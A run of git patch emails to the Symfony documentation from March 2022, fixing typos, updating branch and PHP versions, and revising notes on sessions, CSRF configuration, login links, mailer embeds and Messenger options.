+    can be set to ``null`` in case  the controller can be accessed by anonymous
+    users. It requires installing the :doc:`SecurityBundle </security>`.
 
 Adding a Custom Value Resolver
 ------------------------------

From d6af72bb72e5ebd44d2844ca8c31558410bab1c4 Mon Sep 17 00:00:00 2001
From: Jordi Boggiano <j.boggiano@seld.be>
Date: Thu, 17 Mar 2022 10:25:38 +0100
Subject: [PATCH 3090/7107] Add note about AccessDeniedException being thrown

Fixes #16614
---
 controller/argument_value_resolver.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index 5f69b164696..49f45ad4751 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -88,6 +88,10 @@ In addition, some components and official bundles provide other value resolvers:
     with ``UserInterface``. Default value can be set to ``null`` in case
     the controller can be accessed by anonymous users. It requires installing
     the :doc:`SecurityBundle </security>`.
+    
+    If the argument is not nullable and there is no logged in user or the logged in
+    user has a user class not matching the type-hinted class, an ``AccessDeniedException``
+    is thrown by the resolver to prevent access to the controller.
 
 Adding a Custom Value Resolver
 ------------------------------

From 5e4d3b1b24b57c12a8d1f91e498d9e2116ab2ddf Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 18 Mar 2022 09:34:32 +0100
Subject: [PATCH 3091/7107] use the PHPUnit bridge to run tests

---
 testing.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/testing.rst b/testing.rst
index 14024c8bc87..031f8d17948 100644
--- a/testing.rst
+++ b/testing.rst
@@ -27,7 +27,7 @@ After the library is installed, try running PHPUnit:
 
 .. code-block:: terminal
 
-    $ php ./vendor/bin/phpunit
+    $ php bin/phpunit
 
 This command automatically runs your application tests. Each test is a
 PHP class ending with "Test" (e.g. ``BlogControllerTest``) that lives in
@@ -83,18 +83,18 @@ of your application for unit tests. So, if you're testing a class in the
 Autoloading is automatically enabled via the ``vendor/autoload.php`` file
 (as configured by default in the ``phpunit.xml.dist`` file).
 
-You can run tests using the ``./vendor/bin/phpunit`` command:
+You can run tests using the ``bin/phpunit`` command:
 
 .. code-block:: terminal
 
     # run all tests of the application
-    $ php ./vendor/bin/phpunit
+    $ php bin/phpunit
 
     # run all tests in the Form/ directory
-    $ php ./vendor/bin/phpunit tests/Form
+    $ php bin/phpunit tests/Form
 
     # run tests for the UserType class
-    $ php ./vendor/bin/phpunit tests/Form/UserTypeTest.php
+    $ php bin/phpunit tests/Form/UserTypeTest.php
 
 .. tip::
 

From a9171b66203b121932b39e703aff3967bd8029d2 Mon Sep 17 00:00:00 2001
From: Jordi Boggiano <j.boggiano@seld.be>
Date: Fri, 18 Mar 2022 10:39:34 +0100
Subject: [PATCH 3092/7107] Update CI to php 8.1

---
 .github/workflows/ci.yaml | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 6750bd8eb20..33d174e3b8d 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -23,7 +23,7 @@ jobs:
             -   name: "Set-up PHP"
                 uses: shivammathur/setup-php@v2
                 with:
-                    php-version: 8.0
+                    php-version: 8.1
                     coverage: none
                     tools: "composer:v2"
 
@@ -91,7 +91,7 @@ jobs:
           - name: Set-up PHP
             uses: shivammathur/setup-php@v2
             with:
-                php-version: 8.0
+                php-version: 8.1
                 coverage: none
 
           - name: Fetch branch from where the PR started

From c8d9c56715443edcfa06106a1d1849416af7957a Mon Sep 17 00:00:00 2001
From: Jeroen <1517978+Jeroeny@users.noreply.github.com>
Date: Fri, 18 Mar 2022 11:13:18 +0100
Subject: [PATCH 3093/7107] Reference latest feature branch

---
 contributing/code/pull_requests.rst | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index 22c144423c8..d56c95ee9cf 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -129,7 +129,7 @@ work:
   </contributing/code/maintenance>` (you may have to choose a higher branch if
   the feature you are fixing was introduced in a later version);
 
-* ``5.x``, if you are adding a new feature.
+* ``6.1``, if you are adding a new feature.
 
   The only exception is when a new :doc:`major Symfony version </contributing/community/releases>`
   (5.0, 6.0, etc.) comes out every two years. Because of the
@@ -152,7 +152,7 @@ topic branch:
 
 .. code-block:: terminal
 
-    $ git checkout -b BRANCH_NAME 5.x
+    $ git checkout -b BRANCH_NAME 6.1
 
 Or, if you want to provide a bug fix for the ``4.4`` branch, first track the remote
 ``4.4`` branch locally:
@@ -281,15 +281,15 @@ while to finish your changes):
 
 .. code-block:: terminal
 
-    $ git checkout 5.x
+    $ git checkout 6.1
     $ git fetch upstream
-    $ git merge upstream/5.x
+    $ git merge upstream/6.1
     $ git checkout BRANCH_NAME
-    $ git rebase 5.x
+    $ git rebase 6.1
 
 .. tip::
 
-    Replace ``5.x`` with the branch you selected previously (e.g. ``4.4``)
+    Replace ``6.1`` with the branch you selected previously (e.g. ``4.4``)
     if you are working on a bug fix.
 
 When doing the ``rebase`` command, you might have to fix merge conflicts.
@@ -502,7 +502,7 @@ PR. Before re-submitting the PR, rebase with ``upstream/5.x`` or
 
 .. code-block:: terminal
 
-    $ git rebase -f upstream/5.x
+    $ git rebase -f upstream/6.1
     $ git push --force origin BRANCH_NAME
 
 .. note::

From c4d4ced4e387c224fc2aeb0357d4e4ea06bf7db1 Mon Sep 17 00:00:00 2001
From: Gintautas <35382935+gintautasp12@users.noreply.github.com>
Date: Sun, 20 Mar 2022 21:15:03 +0200
Subject: [PATCH 3094/7107] Fix typo

Fixes a typo "Testings" -> "Testing"
---
 form/unit_testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/unit_testing.rst b/form/unit_testing.rst
index 4c28078954f..8a5c67da48f 100644
--- a/form/unit_testing.rst
+++ b/form/unit_testing.rst
@@ -134,7 +134,7 @@ variable exists and will be available in your form themes::
     the ``KernelTestCase`` instead and use the ``form.factory`` service to
     create the form.
 
-Testings Types Registered as Services
+Testing Types Registered as Services
 -------------------------------------
 
 Your form may be used as a service, as it depends on other services (e.g. the

From 19ae2b0632cd8a4e5b2a14be552f1c5a4f8d85e5 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 21 Mar 2022 10:01:57 +0100
Subject: [PATCH 3095/7107] Minor tweak

---
 form/unit_testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/unit_testing.rst b/form/unit_testing.rst
index 8a5c67da48f..c8996787017 100644
--- a/form/unit_testing.rst
+++ b/form/unit_testing.rst
@@ -135,7 +135,7 @@ variable exists and will be available in your form themes::
     create the form.
 
 Testing Types Registered as Services
--------------------------------------
+------------------------------------
 
 Your form may be used as a service, as it depends on other services (e.g. the
 Doctrine entity manager). In these cases, using the above code won't work, as

From ecf29e333258ed0778d4330da7771b666bf93481 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 21 Mar 2022 14:45:11 +0100
Subject: [PATCH 3096/7107] [Contributing] Remove an unneeded toctree

---
 contributing/documentation/index.rst | 9 ---------
 1 file changed, 9 deletions(-)

diff --git a/contributing/documentation/index.rst b/contributing/documentation/index.rst
index f16f4e32cc7..9af054d0502 100644
--- a/contributing/documentation/index.rst
+++ b/contributing/documentation/index.rst
@@ -20,12 +20,3 @@ documentation:
 :doc:`License </contributing/documentation/license>`
     Explains the details of the Creative Commons BY-SA 3.0 license used for the
     Symfony Documentation.
-
-.. toctree::
-    :hidden:
-
-    format
-    license
-    overview
-    standards
-    translations

From fa0597822b5d608475c581f87ef6820ac8b1035d Mon Sep 17 00:00:00 2001
From: Jeroen <4200784+JeroenMoonen@users.noreply.github.com>
Date: Mon, 25 Oct 2021 15:18:14 +0200
Subject: [PATCH 3097/7107] Update service container rst with missing class

Add class definition in given service container example
---
 service_container.rst | 23 +++++++++++++----------
 1 file changed, 13 insertions(+), 10 deletions(-)

diff --git a/service_container.rst b/service_container.rst
index eda0dc85ffc..8a974ef6989 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -125,18 +125,21 @@ inside your controller::
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Routing\Annotation\Route;
 
-    /**
-     * @Route("/products/new")
-     */
-    public function new(MessageGenerator $messageGenerator): Response
+    class ProductController
     {
-        // thanks to the type-hint, the container will instantiate a
-        // new MessageGenerator and pass it to you!
-        // ...
+        /**
+         * @Route("/products/new")
+         */
+        public function new(MessageGenerator $messageGenerator): Response
+        {
+            // thanks to the type-hint, the container will instantiate a
+            // new MessageGenerator and pass it to you!
+            // ...
 
-        $message = $messageGenerator->getHappyMessage();
-        $this->addFlash('success', $message);
-        // ...
+            $message = $messageGenerator->getHappyMessage();
+            $this->addFlash('success', $message);
+            // ...
+        }
     }
 
 When you ask for the ``MessageGenerator`` service, the container constructs a new

From 0b7f033e89a24cae982ac383e004725b014bd2b4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 21 Mar 2022 14:52:21 +0100
Subject: [PATCH 3098/7107] Make the controller extend from AbstractController

---
 service_container.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/service_container.rst b/service_container.rst
index 8a974ef6989..ddb81243ccd 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -122,10 +122,11 @@ inside your controller::
 
     // src/Controller/ProductController.php
     use App\Service\MessageGenerator;
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Routing\Annotation\Route;
 
-    class ProductController
+    class ProductController extends AbstractController
     {
         /**
          * @Route("/products/new")

From 440c1e3d246537bddec877ee9d4c33b0ddee1ca3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 21 Mar 2022 14:54:10 +0100
Subject: [PATCH 3099/7107] Use PHP attribute to define the route

---
 service_container.rst | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/service_container.rst b/service_container.rst
index 8a97ecc234e..772d01249a4 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -126,9 +126,7 @@ inside your controller::
 
     class ProductController extends AbstractController
     {
-        /**
-         * @Route("/products/new")
-         */
+        #[Route('/products/new')]
         public function new(MessageGenerator $messageGenerator): Response
         {
             // thanks to the type-hint, the container will instantiate a

From 0f437c08a31b32391dbe3cf4d51c978f261c0d56 Mon Sep 17 00:00:00 2001
From: Mokhtar Tlili <tlili.mokhtar@gmail.com>
Date: Mon, 6 Sep 2021 19:49:39 +0200
Subject: [PATCH 3100/7107] Update upload_file.rst

---
 controller/upload_file.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index 2abf1dc34c0..8f64fb10f80 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -199,7 +199,7 @@ There are some important things to consider in the code of the above controller:
 #. A well-known security best practice is to never trust the input provided by
    users. This also applies to the files uploaded by your visitors. The ``UploadedFile``
    class provides methods to get the original file extension
-   (:method:`Symfony\\Component\\HttpFoundation\\File\\UploadedFile::getExtension`),
+   (:method:`Symfony\\Component\\HttpFoundation\\File\\UploadedFile::getClientOriginalExtension`),
    the original file size (:method:`Symfony\\Component\\HttpFoundation\\File\\UploadedFile::getSize`)
    and the original file name (:method:`Symfony\\Component\\HttpFoundation\\File\\UploadedFile::getClientOriginalName`).
    However, they are considered *not safe* because a malicious user could tamper

From 8f6defb36f5ce26418a89118d46509e1d35916de Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 21 Mar 2022 16:09:42 +0100
Subject: [PATCH 3101/7107] Minor syntax issue

---
 security/expressions.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/security/expressions.rst b/security/expressions.rst
index 88bebd5dc07..319a26ea659 100644
--- a/security/expressions.rst
+++ b/security/expressions.rst
@@ -80,8 +80,7 @@ Additionally, you have access to a number of functions inside the expression:
 
 .. deprecated:: 5.4
 
-   The ``is_anonymous()`` function is
-   deprecated since Symfony 5.4.
+   The ``is_anonymous()`` function is deprecated since Symfony 5.4.
 
 .. sidebar:: ``is_remember_me()`` is different than checking ``IS_AUTHENTICATED_REMEMBERED``
 

From cbfac3de0d04d344f914fd51c7b82c2976116003 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 21 Mar 2022 16:10:31 +0100
Subject: [PATCH 3102/7107] Remove deprecated features

---
 security/expressions.rst | 8 --------
 1 file changed, 8 deletions(-)

diff --git a/security/expressions.rst b/security/expressions.rst
index 319a26ea659..7e5bc03b06a 100644
--- a/security/expressions.rst
+++ b/security/expressions.rst
@@ -64,10 +64,6 @@ Additionally, you have access to a number of functions inside the expression:
 ``is_authenticated()``
     Returns ``true`` if the user is authenticated via "remember-me" or authenticated
     "fully" - i.e. returns true if the user is "logged in".
-``is_anonymous()``
-    Returns ``true`` if the user is anonymous. That is, the firewall confirms that it
-    does not know this user's identity. This is different from ``IS_AUTHENTICATED_ANONYMOUSLY``,
-    which is granted to *all* users, including authenticated ones.
 ``is_remember_me()``
     Similar, but not equal to ``IS_AUTHENTICATED_REMEMBERED``, see below.
 ``is_fully_authenticated()``
@@ -78,10 +74,6 @@ Additionally, you have access to a number of functions inside the expression:
     equivalent to using the :ref:`isGranted() method <security-isgranted>`
     from the security service.
 
-.. deprecated:: 5.4
-
-   The ``is_anonymous()`` function is deprecated since Symfony 5.4.
-
 .. sidebar:: ``is_remember_me()`` is different than checking ``IS_AUTHENTICATED_REMEMBERED``
 
     The ``is_remember_me()`` and ``is_fully_authenticated()`` functions are *similar*

From 8b8492f81ee67cbb5368d9647f7a971e1c0fca60 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 21 Mar 2022 16:39:40 +0100
Subject: [PATCH 3103/7107] Minor tweaks

---
 security/impersonating_user.rst | 10 ++++++----
 1 file changed, 6 insertions(+), 4 deletions(-)

diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index 0dd66074e0b..0bdbcdce229 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -75,7 +75,9 @@ as the value to the current URL:
 .. tip::
 
     Instead of adding a ``_switch_user`` query string parameter, you can pass
-    the username in a ``HTTP_X_SWITCH_USER`` header. You can use this feature by adjusting the ``parameter`` setting:
+    the username in a custom HTTP header by adjusting the ``parameter`` setting.
+    For example, to use ``X-Switch-User`` header (available in PHP as
+    ``HTTP_X_SWITCH_USER``) add this configuration:
 
     .. configuration-block::
 
@@ -87,7 +89,7 @@ as the value to the current URL:
                 firewalls:
                     main:
                         # ...
-                        switch_user: { parameter: HTTP_X_SWITCH_USER }
+                        switch_user: { parameter: X-Switch-User }
 
         .. code-block:: xml
 
@@ -104,7 +106,7 @@ as the value to the current URL:
                     <!-- ... -->
                     <firewall name="main">
                         <!-- ... -->
-                        <switch-user parameter="HTTP_X_SWITCH_USER"/>
+                        <switch-user parameter="X-Switch-User"/>
                     </firewall>
                 </config>
             </srv:container>
@@ -118,7 +120,7 @@ as the value to the current URL:
                 $security->firewall('main')
                     // ...
                     ->switchUser()
-                        ->parameter('HTTP_X_SWITCH_USER')
+                        ->parameter('X-Switch-User')
                 ;
             };
 

From 9e6b105a830ba5e233cb923e01aa58e0c30f2a1c Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 3 Jan 2022 15:14:41 +0100
Subject: [PATCH 3104/7107] Explaining how to actually get the session from
 `Request`

Question: Shouldn't `Request` be shown as preferred way (not `RequestStack`), since injecting `Request` is needed for forms anyway (whereas I've never needed to inject `RequestStack`)?
---
 session.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/session.rst b/session.rst
index 0331b964cfd..3b469bb7ff5 100644
--- a/session.rst
+++ b/session.rst
@@ -135,7 +135,7 @@ Check out the Symfony config reference to learn more about the other available
 Basic Usage
 -----------
 
-The session is available through the Request and the RequestStack.
+The session is available through ``->getSession()`` from the ``Request`` and the ``RequestStack``.
 Symfony provides a request_stack service that is injected in your services and
 controllers if you type-hint an argument with
 :class:`Symfony\\Component\\HttpFoundation\\RequestStack`::

From 540b18391f3326cd4eefac19aa1c2bbce259d3ff Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 21 Mar 2022 17:15:09 +0100
Subject: [PATCH 3105/7107] Minor reword

---
 session.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/session.rst b/session.rst
index 3b469bb7ff5..ec9982ae921 100644
--- a/session.rst
+++ b/session.rst
@@ -135,10 +135,9 @@ Check out the Symfony config reference to learn more about the other available
 Basic Usage
 -----------
 
-The session is available through ``->getSession()`` from the ``Request`` and the ``RequestStack``.
-Symfony provides a request_stack service that is injected in your services and
-controllers if you type-hint an argument with
-:class:`Symfony\\Component\\HttpFoundation\\RequestStack`::
+The session is available through the ``Request`` object and the ``RequestStack``
+service. Symfony injects the ``request_stack`` service in services and controllers
+if you type-hint an argument with :class:`Symfony\\Component\\HttpFoundation\\RequestStack`::
 
     use Symfony\Component\HttpFoundation\RequestStack;
 

From a4b642217fce82d7e388918c19a35d53d80d188b Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Bart=C5=82omiej=20Zaj=C4=85c?= <bzajacc@gmail.com>
Date: Fri, 31 Dec 2021 20:24:43 +0100
Subject: [PATCH 3106/7107] [Messenger] Fix check_delayed_interval option in
 messenger doctrine psqltransport

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 18b1e5d6911..c7749b13dc8 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1359,7 +1359,7 @@ in the table.
 Option                   Description                                 Default
 =======================  ==========================================  ======================
 use_notify               Whether to use LISTEN/NOTIFY.               true
-check_delayed_interval   The interval to check for delayed           1000
+check_delayed_interval   The interval to check for delayed           60000
                          messages, in milliseconds.
                          Set to 0 to disable checks.
 get_notify_timeout       The length of time to wait for a            0

From 9e59e571fc3ebe11df1d31382393bc3f58180605 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Walter=20Nu=C3=B1ez?= <icarosnet@gmail.com>
Date: Tue, 28 Dec 2021 12:25:00 -0500
Subject: [PATCH 3107/7107] Update Doc of csrf_protection configuration in
 framework level

---
 reference/configuration/framework.rst | 37 +++++++++++++++++++++++++++
 1 file changed, 37 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 4feb8fcd56d..93084385b3c 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -358,6 +358,43 @@ If you're using forms, but want to avoid starting your session (e.g. using
 forms in an API-only website), ``csrf_protection`` will need to be set to
 ``false``.
 
+example:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+    
+        # config/packages/framework.yaml
+        framework:
+            # ...
+            csrf_protection: true #can be true or false
+            
+    .. code-block:: xml
+    
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+            <framework:config>
+                <framework:csrf-protection enabled="true"/>
+            </framework:config>
+        </container>
+        
+    .. code-block:: php
+    
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
+        return static function (FrameworkConfig $framework) {
+            $framework->csrfProtection()
+                ->enabled(true) #can be true or false
+            ;
+        };
+
 .. _config-framework-error_controller:
 
 error_controller

From d96fcfe4bc2b149a16e4d77530277838a3f1f12f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 21 Mar 2022 17:21:59 +0100
Subject: [PATCH 3108/7107] Minor tweak

---
 reference/configuration/framework.rst | 14 ++++++--------
 1 file changed, 6 insertions(+), 8 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 93084385b3c..9351742f3f2 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -354,12 +354,6 @@ enabled
 This option can be used to disable CSRF protection on *all* forms. But you
 can also :ref:`disable CSRF protection on individual forms <form-csrf-customization>`.
 
-If you're using forms, but want to avoid starting your session (e.g. using
-forms in an API-only website), ``csrf_protection`` will need to be set to
-``false``.
-
-example:
-
 .. configuration-block::
 
     .. code-block:: yaml
@@ -367,7 +361,7 @@ example:
         # config/packages/framework.yaml
         framework:
             # ...
-            csrf_protection: true #can be true or false
+            csrf_protection: true
             
     .. code-block:: xml
     
@@ -391,10 +385,14 @@ example:
         use Symfony\Config\FrameworkConfig;
         return static function (FrameworkConfig $framework) {
             $framework->csrfProtection()
-                ->enabled(true) #can be true or false
+                ->enabled(true)
             ;
         };
 
+If you're using forms, but want to avoid starting your session (e.g. using
+forms in an API-only website), ``csrf_protection`` will need to be set to
+``false``.
+
 .. _config-framework-error_controller:
 
 error_controller

From bcc13a0b81ea46226206b2b32850c146febcca5f Mon Sep 17 00:00:00 2001
From: Andrea Cristaudo <andrea-cristaudo@users.noreply.github.com>
Date: Sat, 11 Sep 2021 10:07:57 +0200
Subject: [PATCH 3109/7107] Add a note on "--no-plugins" Composer option
 effects

When you use the "--no-plugins" Composer option the autoload_runtime.php file won't be created.
---
 components/runtime.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/components/runtime.rst b/components/runtime.rst
index aaa532a380f..a6d25ae230a 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -53,6 +53,12 @@ the component. This file runs the following logic:
 
 .. caution::
 
+<<<<<<< HEAD
+=======
+    If you use the Composer ``--no-plugins`` option the ``autoload_runtime.php``
+    file won't be created.
+
+>>>>>>> af698f2b2 (Add a note on "--no-plugins" Composer option effects)
     If you use the Composer ``--no-scripts`` option, make sure your Composer version
     is ``>=2.1.3``; otherwise the ``autoload_runtime.php`` file won't be created.
 

From 75862b664c5afdee67b909e9ccdd374a4ba70e64 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 22 Mar 2022 09:07:25 +0100
Subject: [PATCH 3110/7107] Minor syntax fixes

---
 components/runtime.rst | 5 +----
 1 file changed, 1 insertion(+), 4 deletions(-)

diff --git a/components/runtime.rst b/components/runtime.rst
index a6d25ae230a..979a5a13aa7 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -53,12 +53,9 @@ the component. This file runs the following logic:
 
 .. caution::
 
-<<<<<<< HEAD
-=======
-    If you use the Composer ``--no-plugins`` option the ``autoload_runtime.php``
+    If you use the Composer ``--no-plugins`` option, the ``autoload_runtime.php``
     file won't be created.
 
->>>>>>> af698f2b2 (Add a note on "--no-plugins" Composer option effects)
     If you use the Composer ``--no-scripts`` option, make sure your Composer version
     is ``>=2.1.3``; otherwise the ``autoload_runtime.php`` file won't be created.
 

From 5c488c8e0a5b0439618ea5264603ac1455c3b68e Mon Sep 17 00:00:00 2001
From: Vincent Huck <vincent.huck.pro@gmail.com>
Date: Thu, 24 Mar 2022 07:27:58 +0100
Subject: [PATCH 3111/7107] Add missing signature_properties config

---
 security/login_link.rst | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/security/login_link.rst b/security/login_link.rst
index 137fe734330..40679e50071 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -61,7 +61,9 @@ under the firewall. You must configure a ``check_route`` and
 
             <config>
                 <firewall name="main">
-                    <login-link check-route="login_check"/>
+                    <login-link check-route="login_check">
+                        <signature-property>id</signature-property>
+                    </login-link>
                 </firewall>
             </config>
         </srv:container>
@@ -75,6 +77,7 @@ under the firewall. You must configure a ``check_route`` and
             $security->firewall('main')
                 ->loginLink()
                     ->checkRoute('login_check')
+                    ->signatureProperties(['id'])
             ;
         };
 

From c3fe53a61695371e3d9034d7968c929181232051 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Wed, 23 Mar 2022 18:54:55 +0100
Subject: [PATCH 3112/7107] Update uid.rst

---
 components/uid.rst | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/components/uid.rst b/components/uid.rst
index e6f68f376fa..c2a0c79315b 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -120,7 +120,10 @@ UUID objects created with the ``Uuid`` class can use the following methods
 
     // getting the UUID datetime (it's only available in certain UUID types)
     $uuid = Uuid::v1();
-    $uuid->getDateTime();  // returns a \DateTimeImmutable instance
+    $uuid->getDateTime(); // returns a \DateTimeImmutable instance
+
+    // checking if a given value is valid as UUID
+    $isValid = Uuid::isValid($uuid); // true or false
 
     // comparing UUIDs and checking for equality
     $uuid1 = Uuid::v1();

From 1b8d52d9333c522ca4e94d66fb1d337a5dfac0d0 Mon Sep 17 00:00:00 2001
From: Fabien Salathe <fabacrans@gmail.com>
Date: Tue, 22 Mar 2022 10:43:35 +0100
Subject: [PATCH 3113/7107] Use a better name than "class Foo"

It took me a while to figure out what represent `class Foo`
---
 components/event_dispatcher.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/event_dispatcher.rst b/components/event_dispatcher.rst
index 0331c3320be..a0fc45ed78e 100644
--- a/components/event_dispatcher.rst
+++ b/components/event_dispatcher.rst
@@ -499,9 +499,9 @@ is dispatched, are passed as arguments to the listener::
     use Symfony\Contracts\EventDispatcher\Event;
     use Symfony\Contracts\EventDispatcher\EventDispatcherInterface;
 
-    class Foo
+    class MySubscriber
     {
-        public function myEventListener(Event $event, $eventName, EventDispatcherInterface $dispatcher)
+        public function myEventListener(Event $event, string $eventName, EventDispatcherInterface $dispatcher)
         {
             // ... do something with the event name
         }

From afd3d87d99606957241932ca8f8d11e393342a03 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 24 Mar 2022 16:15:27 +0100
Subject: [PATCH 3114/7107] Minor tweak

---
 components/event_dispatcher.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/event_dispatcher.rst b/components/event_dispatcher.rst
index a0fc45ed78e..dd1ce9c310a 100644
--- a/components/event_dispatcher.rst
+++ b/components/event_dispatcher.rst
@@ -499,7 +499,7 @@ is dispatched, are passed as arguments to the listener::
     use Symfony\Contracts\EventDispatcher\Event;
     use Symfony\Contracts\EventDispatcher\EventDispatcherInterface;
 
-    class MySubscriber
+    class MyListener
     {
         public function myEventListener(Event $event, string $eventName, EventDispatcherInterface $dispatcher)
         {

From 3f1518390ce4f4b11c4b86fb04e9272407101b53 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 21 Mar 2022 17:53:14 +0100
Subject: [PATCH 3115/7107] [Mime] Allow to embed images as CSS backgrounds

---
 mailer.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 68939c4c3ca..8b4f6d6678b 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -467,10 +467,18 @@ images inside the HTML contents::
         // ...
         ->embed(fopen('/path/to/images/logo.png', 'r'), 'logo')
         ->embedFromPath('/path/to/images/signature.gif', 'footer-signature')
+
         // reference images using the syntax 'cid:' + "image embed name"
         ->html('<img src="cid:logo"> ... <img src="cid:footer-signature"> ...')
+
+        // use the same syntax for images included as CSS background images
+        ->html('... <div style="background-image: url(cid:footer-signature)"> ... </div> ...')
     ;
 
+.. versionadded:: 6.1
+
+    The support of embedded images as CSS backgrounds was introduced in Symfony 6.1.
+
 .. _mailer-configure-email-globally:
 
 Configuring Emails Globally

From bd94a2d045831f635a901b99c439f031ec92f219 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 24 Mar 2022 16:44:44 +0100
Subject: [PATCH 3116/7107] [Messenger] Deprecate the reset_on_message option

---
 messenger.rst | 50 +++++++-------------------------------------------
 1 file changed, 7 insertions(+), 43 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 35d2f056da6..a292b3a5ac8 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -711,51 +711,15 @@ states to prevent information and/or memory leakage.
 
 However, certain Symfony services, such as the Monolog
 :ref:`fingers crossed handler <logging-handler-fingers_crossed>`, leak by design.
-In those cases, use the ``reset_on_message`` transport option to automatically
-reset the service container between two messages:
+That's why Symfony automatically resets the service container between two messages.
+If you don't want to reset the container, add the ``--no-reset`` option when
+running the ``messenger:consume`` command.
 
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/messenger.yaml
-        framework:
-            messenger:
-                reset_on_message: true
-                transports:
-                    async:
-                        dsn: '%env(MESSENGER_TRANSPORT_DSN)%'
+.. deprecated:: 6.1
 
-    .. code-block:: xml
-
-        <!-- config/packages/messenger.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
